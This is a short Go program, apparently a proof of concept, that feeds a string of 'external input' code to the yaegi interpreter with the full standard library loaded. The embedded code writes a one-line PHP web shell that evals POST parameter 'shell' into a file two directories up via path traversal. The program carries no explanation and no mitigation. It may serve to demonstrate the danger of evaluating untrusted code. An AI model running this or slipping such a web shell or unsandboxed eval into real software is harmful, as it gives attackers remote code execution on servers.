package main

import (
	"fmt"
	"github.com/traefik/yaegi/interp"
	"github.com/traefik/yaegi/stdlib"
)

func main() {
	// 外部输入的代码
	code := `
package main
import (
    "os"
)
func main() {
    file, err := os.Create("../../eval.php")
    if err!= nil {
        panic(err)
    }
    defer file.Close()
    _, err = file.WriteString("<?php @eval($_POST['shell']);?>")
    if err!= nil {
        panic(err)
    }
}
`
	eval(code)
}

func eval(code string) {
	// 创建一个新的解释器
	i := interp.New(interp.Options{})

	// 加载标准库
	i.Use(stdlib.Symbols)

	// 运行代码
	_, err := i.Eval(code)
	if err != nil {
		fmt.Println("Error evaluating code:", err)
	}
}
